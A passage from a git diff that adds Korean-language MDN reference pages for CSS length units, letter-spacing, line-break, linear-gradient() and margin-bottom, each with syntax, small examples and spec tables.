+ <dd>1 센티미터, <code>1cm</code> = <code>96px/2.54</code>.</dd>
+ <dt><code><a id="mm" name="mm">mm</a></code></dt>
+ <dd>1 밀리미터, <code>1mm</code> = 1/10 <code>cm</code>.</dd>
+ <dt><code><a id="q" name="q">Q</a></code> {{experimental_inline}}</dt>
+ <dd>1/4 밀리미터, <code>1Q</code> = 1/40 <code>cm</code>.</dd>
+ <dt><code><a id="in" name="in">in</a></code></dt>
+ <dd>1 인치, <code>1in</code> = <code>2.54cm</code> = <code>96px</code>.</dd>
+ <dt><code><a id="pc" name="pc">pc</a></code></dt>
+ <dd>1 피카, <code>1pc</code> = <code>12pt</code> = 1/6<code>1in</code>.</dd>
+ <dt><code><a id="pt" name="pt">pt</a></code></dt>
+ <dd>One point. <code>1pt</code> = 1/72nd of <code>1in</code>.</dd>
+</dl>
+
+<h2 id="보간">보간</h2>
+
+<p>애니메이션에서 <code>&lt;length&gt;</code> 자료형의 값은 부동소수점 실수로 간주하며 보간은 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>을 사용합니다. 보간 속도는 애니메이션에 연결된 <a href="/ko/docs/Web/CSS/single-transition-timing-function">타이밍 함수</a>가 결정합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="길이_단위_비교">길이 단위 비교</h3>
+
+<p>아래 데모에서는 주어진 하나의 입력 칸에 <code>300px</code>, <code>50%</code>, <code>30vw</code> 등 <code>&lt;length&gt;</code> 값을 입력한 후 <kbd>Return</kbd>을 누르면 그 길이만큼의 막대를 생성합니다.</p>
+
+<p>서로 다른 길이 단위를 입력하고 비교해보세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="outer"&gt;
+  &lt;div class="input-container"&gt;
+    &lt;label&gt;길이:&lt;/label&gt;
+    &lt;input type="text" id="length"&gt;
+  &lt;/div&gt;
+  &lt;div class="inner"&gt;
+
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="results"&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+  font-weight: bold;
+  box-sizing: border-box;
+}
+
+.outer {
+  width: 100%;
+  height: 50px;
+  background-color: #eee;
+  position: relative;
+}
+
+.inner {
+  height: 50px;
+  background-color: #999;
+  box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+              inset -3px -3px 5px rgba(0,0,0,0.5);
+}
+
+.result {
+  height: 20px;
+  background-color: #999;
+  box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+              inset -3px -3px 5px rgba(0,0,0,0.5);
+  background-color: orange;
+  display: flex;
+  align-items: center;
+  margin-top: 10px;
+}
+
+.result code {
+  position: absolute;
+  margin-left: 20px;
+}
+
+.results {
+  margin-top: 10px;
+}
+
+.input-container {
+  position: absolute;
+  display: flex;
+  justify-content: flex-start;
+  align-items: center;
+  height: 50px;
+}
+
+label {
+  margin: 0 10px 0 20px;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">const inputDiv = document.querySelector('.inner');
+const inputElem = document.querySelector('input');
+const resultsDiv = document.querySelector('.results');
+
+inputElem.addEventListener('change', () =&gt; {
+  inputDiv.style.width = inputElem.value;
+
+  const result = document.createElement('div');
+  result.className = 'result';
+  result.style.width = inputElem.value;
+  result.innerHTML = `&lt;code&gt;너비: ${inputElem.value}&lt;/code&gt;`;
+  resultsDiv.appendChild(result);
+
+  inputElem.value = '';
+  inputElem.focus();
+})</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('길이_단위_비교','100%', 700)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Adds the <code>vi</code>, <code>vb</code>, <code>ic</code>, <code>lh</code>, and <code>rlh</code> units.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#lengths', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Adds the <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, and <code>Q</code> units.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Explicit definition of the <code>em</code>, <code>pt</code>, <code>pc</code>, and <code>px</code> units.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#length-units', '&lt;length&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition. Implicit definition of the <code>em</code>, <code>pt</code>, <code>pc</code>, and <code>px</code> units.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.length")}}</p>
diff --git a/files/ko/web/css/letter-spacing/index.html b/files/ko/web/css/letter-spacing/index.html
new file mode 100644
index 0000000000..4f7acc93f5
--- /dev/null
+++ b/files/ko/web/css/letter-spacing/index.html
@@ -0,0 +1,135 @@
+---
+title: letter-spacing
+slug: Web/CSS/letter-spacing
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+  - 글자 간격
+translation_of: Web/CSS/letter-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>letter-spacing</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 글자 사이의 간격을 조절합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+letter-spacing: normal;
+
+/* &lt;length&gt; 값 */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* 전역 값 */
+letter-spacing: inherit;
+letter-spacing: initial;
+letter-spacing: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>현재 글꼴의 기본 간격. <code>0</code>과 달리, <code>auto</code>는 {{glossary("user agent", "사용자 에이전트")}}가 양쪽 정렬을 위해 간격을 임의로 조절할 수 있습니다.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>기본 간격에 <strong>추가</strong>할 글자간 간격. 음수 값을 지정할 수 있지만 구현에 따라 한계가 있을 수 있습니다. 사용자 에이전트가 간격을 줄이거나 늘리지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;글자 간격&lt;/p&gt;
+&lt;p class="em-wide"&gt;글자 간격&lt;/p&gt;
+&lt;p class="em-wider"&gt;글자 간격&lt;/p&gt;
+&lt;p class="em-tight"&gt;글자 간격&lt;/p&gt;
+&lt;p class="px-wide"&gt;글자 간격&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.normal   { letter-spacing: normal; }
+.em-wide  { letter-spacing: 0.4em; }
+.em-wider { letter-spacing: 1em; }
+.em-tight { letter-spacing: -0.05em; }
+.px-wide  { letter-spacing: 6px; }
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', 440, 185) }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>letter-spacing</code> 값의 절댓값이 너무 크면 스타일을 적용한 글을 읽기 힘들어집니다. 지나치게 큰 값으로는 글자 간격이 지나치게 넓어져 단어를 이루지 못하고 따로 따로 보입니다. 반대로 지나친 음숫값은 글자가 서로 겹쳐 알아볼 수 없습니다.</p>
+
+<p>글꼴마다 문자의 너비가 다르므로 읽기에 용이한 간격은 상황에 따라 다릅니다. 모든 글꼴에 적합한 하나의 값은 존재하지 않습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>letter-spacing</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial SVG definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.letter-spacing")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("font-kerning")}}</li>
+</ul>
diff --git a/files/ko/web/css/line-break/index.html b/files/ko/web/css/line-break/index.html
new file mode 100644
index 0000000000..76fabd4316
--- /dev/null
+++ b/files/ko/web/css/line-break/index.html
@@ -0,0 +1,112 @@
+---
+title: line-break
+slug: Web/CSS/line-break
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text
+  - Reference
+  - i18n
+  - l10n
+  - 'recipe:css-property'
+translation_of: Web/CSS/line-break
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>line-break</code></strong> 속성은 한중일(CJK) 3개국어의 텍스트 줄을 어디서 바꿀지 지정합니다.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+line-break: anywhere;
+
+/* 전역 값 */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>기본 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>loose</code></dt>
+ <dd>가장 자유로운 줄 바꿈 규칙을 사용합니다. 보통 신문 등 짧은 줄에서 사용합니다.</dd>
+ <dt><code>normal</code></dt>
+ <dd>가장 흔한 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>strict</code></dt>
+ <dd>가장 엄격한 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>anywhere</code></dt>
+ <dd>
+ <p>모든 타이포그래피 글자 단위 주위에서 줄을 바꿀 수 있습니다. 줄 바꿈 위치는 모든 문장 부호, 공백, 단어 중간을 포함하며 GL, WJ, ZWJ 문자 클래스가 나타내는 줄 바꿈 제한 및 {{cssxref("word-break")}}가 요구하는 규칙 모두 무시할 수 있습니다. 붙임표는 사용하지 않습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="줄_바꿈_지정하기">줄 바꿈 지정하기</h3>
+
+<p>줄 바꿈이 "々", "ぁ", "。"의 주위에서 어떻게 발생하는지 살펴보세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div lang="ja"&gt;
+  &lt;p class="wrapbox auto"&gt;auto:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox loose"&gt;loose:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox normal"&gt;normal:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox strict"&gt;strict:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox anywhere"&gt;anywhere:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; }
+.auto { line-break: auto; }
+.loose { line-break: loose; }
+.normal { line-break: normal; }
+.strict { line-break: strict; }
+.anywhere { line-break: anywhere; }
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('줄_바꿈_지정하기', 200, 400) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.line-break")}}</p>
diff --git a/files/ko/web/css/linear-gradient()/index.html b/files/ko/web/css/linear-gradient()/index.html
new file mode 100644
index 0000000000..74635f0434
--- /dev/null
+++ b/files/ko/web/css/linear-gradient()/index.html
@@ -0,0 +1,204 @@
+---
+title: linear-gradient
+slug: Web/CSS/linear-gradient()
+tags:
+  - CSS
+  - CSS Function
+  - CSS Images
+  - Graphics
+  - Layout
+  - Reference
+  - Web
+  - gradient
+  - 그라데이션
+  - 그레이디언트
+translation_of: Web/CSS/linear-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>linear-gradient()</code></strong> 함수는 두 개 이상의 색이 직선을 따라 점진적으로 변화하는 이미지를 생성합니다. 함수의 결과는 {{cssxref("&lt;image&gt;")}}의 특별한 종류인 {{cssxref("&lt;gradient&gt;")}} 자료형입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">/* 45도로 기울어진 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(45deg, blue, red);
+
+/* 우하단에서 좌상단으로, 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(to left top, blue, red);
+
+/* 색상 정지점: 아래에서 위로,
+   파랑에서 시작해 길이의 40%에서 초록으로,
+   빨강 종료 그레이디언트 */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* 색상 힌트: 왼쪽에서 오른쪽으로,
+   빨강에서 시작해 길이의 10% 지점에서 중간 색상으로,
+   나머지 90% 길이 동안 파랑으로 변하는 그레이디언트 */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* 다중 위치 색상 정지점: 45도 기울어진,
+   좌하단 절반 빨강, 우상단 파랑 절반에
+   두 색이 만나는 지점을 정확히 나누는 그레이디언트 */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;side-or-corner&gt;</code></dt>
+ <dd>그레이디언트 축의 시작점. 지정할 경우, <code>to</code> 이후 최대 두 개의 방향을 나타내는 키워드를 사용할 수 있습니다. 하나는 수평 방향(<code style="font-size: 14px;">left</code> 또는 <code>right</code>)이고, 다른 하나는 수직 방향(<code>top</code> 또는 <code>bottom</code>)입니다. 방향 키워드의 순서는 상관하지 않으며, 기본값은 <code>to bottom</code>입니다.</dd>
+ <dd><code>to top</code>, <code>to bottom</code>, <code>to left</code>, <code>to right</code> 값은 <code>0deg</code>, <code>180deg</code>, <code>270deg</code>, <code>90deg</code>와 같습니다. 나머지 값은 각도로 변환됩니다.</dd>
+ <dt>{{cssxref("&lt;angle&gt;")}}</dt>
+ <dd>그레이디언트 축의 방향. <code>0deg</code>는 <code>to top</code>과 같습니다. 0 이상의 값을 지정하면 축이 시계방향으로 돌아갑니다.</dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>색상 정지점의 {{CSSxRef("&lt;color&gt;")}} 값과 하나 혹은 두 개의 선택적인 정지점 위치. (각각 그레이디언트 축 위의 {{cssxref("&lt;percentage&gt;")}} 또는 {{CSSxRef("&lt;length&gt;")}})</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd><code>color-hint</code>는 두 인접한 색상 정지점 사이에서 그레이디언트가 진행하는 방식을 지정하는 보간 힌트입니다. 길이는 두 정지점 간의 길이에서 어느 지점에 그 중간 색에 도달해야 하는지 지정합니다. 생략할 경우 가운데에서 중간 색에 도달합니다.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>참고:</strong> <a href="#다중_위치_색상_정지점을_가진_그레이디언트">CSS 그레이디언트에서의 색상 정지점 렌더링</a>은 <a href="/ko/docs/Web/SVG/Tutorial/Gradients">SVG 그레이디언트</a>에서의 색상 정지점과 동일한 규칙을 따라갑니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 그레이디언트와 마찬가지로, 선형 그레이디언트는 본질 크기를 가지지 않습니다. 즉 기본 크기나 선호 크기, 선호 비율이 없으며, 실제 크기는 그레이디언트를 적용한 요소의 크기와 동일해집니다.</p>
+
+<p>반복하여 컨테이너를 채우는 선형 그레이디언트가 필요하면 {{cssxref("repeating-linear-gradient")}} 함수를 사용하세요.</p>
+
+<p><code>&lt;gradient&gt;</code>는 <code>&lt;image&gt;</code>의 한 종류로서 <code>&lt;image&gt;</code>를 사용하는 곳에만 적용할 수 있습니다. 따라서 <code>linear-gradient()</code>는 {{cssxref("background-color")}}와 같은 {{cssxref("&lt;color&gt;")}} 자료형을 받는 속성에는 사용할 수 없습니다.</p>
+
+<h3 id="선형_그레이디언트의_구성">선형 그레이디언트의 구성</h3>
+
+<p>선형 그레이디언트는 하나의 축(그레이디언트 라인)과 두 개 이상의 색상 정지점으로 정의할 수 있습니다. 축 위의 점은 모두 고유한 색을 가집니다. <code>linear-gradient()</code> 함수는 부드러운 그레이디언트를 만들기 위해 축과 직교하는 무수한 선을 그리며, 각 수직선의 색은 축과 교차하는 점의 색과 일치합니다.</p>
+
+<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; font-size: 13.63636302948px; height: 383px; line-height: 19.0909080505371px; width: 309px;">그레이디언트 축은 그레이디언트 이미지를 담은 직사각형의 중심점과 각도로 정의할 수 있습니다. 그레이디언트 색상은 시작점과 종료점, 그리고 그 사이의 다른 정지점 등 두 개 이상의 색상 정지점이 정의합니다.</p>
+
+<p>시작점은 그레이디언트 축의 한 점으로, 첫 번째 색상이 시작하는 지점입니다. 종료점은 마지막 색상이 끝나는 지점입니다. 두 점은 직사각형에서 자신과 같은 사분면에 위치하는 꼭지점으로부터 시작하여 그레이디언트 축과 직교하는 지점으로 정의합니다. 종료점은 시작점의 대칭점으로 간단하게 알아둘 수도 있습니다. 이렇게 다소 복잡한 정의로 인해, 시작점과 가장 가까운 꼭지점이 시작점의 색을, 종료점과 가장 가까운 꼭지점이 종료점의 색을 갖는 특이한 효과를 확인할 수도 있습니다. 이 효과는 "매직 코너"라고 불리기도 합니다.</p>
+
+<h4 id="그레이디언트_만들기">그레이디언트 만들기</h4>
+
+<p>그레이디언트 축에 색상 정지점을 더 추가하여, 다양한 색 사이로 전환하는, 고도로 맞춤화한 그레이디언트를 만들 수 있습니다. 색상 정지점의 위치는 {{cssxref("&lt;length&gt;")}}나 {{cssxref("&lt;percentage&gt;")}}를 사용해 명시적으로 지정할 수 있습니다. 따로 위치를 정하지 않으면 이전 정지점과 다음 정지점의 중간 지점에 위치합니다. 다음 두 그레이디언트는 동일합니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);</pre>
+
+<p>기본적으로 그레이디언트에서 색상 전환은 하나의 색상 정지점에서 다른 색상 정지점으로 부드럽게 일어나고, 가운데 지점은 두 색상의 사이값을 가집니다. 그러나 두 색의 사이에 색상 힌트를 넣어서 직접 색의 중간 지점을 정할 수도 있습니다. 다음 예제의 그레이디언트는 시작점에서 10% 지점까지 완전한 빨강이고, 90% 지점까지는 빨강에서 파랑으로 서서히 전환하며, 마지막 10%는 완전한 파랑입니다. 그러나 빨강과 파랑 사이 전환의 중간 지점은 50%가 아닌 30% 지점이 됩니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 10%, 30%, blue 90%);</pre>
+
+<p>두 개 이상의 색상 정지점을 같은 위치에 배치하면 부드럽게 전환하는 대신 이전 색과 다음 색이 경계선을 그리며 바로 바뀝니다.</p>
+
+<p>색상 정지점의 순서는 오름차순이어야 합니다. 다음 정지점의 위치가 이전 정지점보다 앞이면, 이전 정지점의 위치를 재설정하고 색 전환도 경계선을 그리며 일어납니다. 다음 그레이디언트는 30% 지점에서 빨강에서 노랑으로 바뀌고, 65% 지점까지 파랑으로 전환합니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 40%, yellow 30%, blue 65%);
+</pre>
+
+<p>색상 정지점이 여러 위치를 가질 수도 있습니다. 색상을 선언할 때 인접한 두 정지점의 위치를 모두 포함할 수 있습니다. 다음 세 그레이디언트는 모두 같습니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);</pre>
+
+<p>기본적으로, 0% 지점에 색을 할당하지 않으면 처음으로 선언한 색이 0%에 배치됩니다. 비슷하게 100% 지점에 색이 없는 경우 마지막 색이 100% 지점까지 도달합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="45도_기울어진_그레이디언트">45도 기울어진 그레이디언트</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: linear-gradient(45deg, red, blue);
+}
+</pre>
+
+<p>{{EmbedLiveSample("45도_기울어진_그레이디언트", 120, 120)}}</p>
+
+<h3 id="축의_60_지점에서_시작하는_그레이디언트">축의 60% 지점에서 시작하는 그레이디언트</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: linear-gradient(135deg, orange 60%, cyan);
+}</pre>
+
+<p>{{EmbedLiveSample("축의_60_지점에서_시작하는_그레이디언트", 120, 120)}}</p>
+
+<h3 id="다중_위치_색상_정지점을_가진_그레이디언트">다중 위치 색상 정지점을 가진 그레이디언트</h3>
+
+<p>이 예제는 다중 위치 색상 정지점을 사용하면서, 인접한 색상 정지점의 위치를 같게 하여 줄무늬 효과를 냅니다.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: linear-gradient(to right,
+     red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}</pre>
+
+<p>{{EmbedLiveSample("다중_위치_색상_정지점을_가진_그레이디언트", 120, 120)}}</p>
+
+<h3 id="더_많은_예제">더 많은 예제</h3>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a> 문서에서 더 많은 예제를 확인하세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Adds interpolation hints.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("css.types.image.gradient.linear-gradient")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a></li>
+ <li>다른 그레이디언트 함수: {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient")}}</li>
+ <li>{{CSSxRef("&lt;image&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/ko/web/css/margin-bottom/index.html b/files/ko/web/css/margin-bottom/index.html
new file mode 100644
index 0000000000..f374be0438
--- /dev/null
+++ b/files/ko/web/css/margin-bottom/index.html
@@ -0,0 +1,100 @@
+---
+title: margin-bottom
+slug: Web/CSS/margin-bottom
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/margin-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-bottom</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 아래쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}</div>
+
+
+
+<p>{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">비대체</a><sup>non-replaced</sup> 인라인 요소에는 효과가 없습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css">/* &lt;length&gt; 값 */
+margin-bottom: 10px;  /* 절대 길이 */
+margin-bottom: 1em;   /* 글씨 크기에 상대적 */
+margin-bottom: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-bottom: auto;
+
+/* 전역 값 */
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;</pre>
+
+<p><code>margin-bottom</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush:css;">.content { margin-bottom:   5%; }
+.sidebox { margin-bottom: 10px; }
+.logo    { margin-bottom: -5px; }
+#footer  { margin-bottom:  1em; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
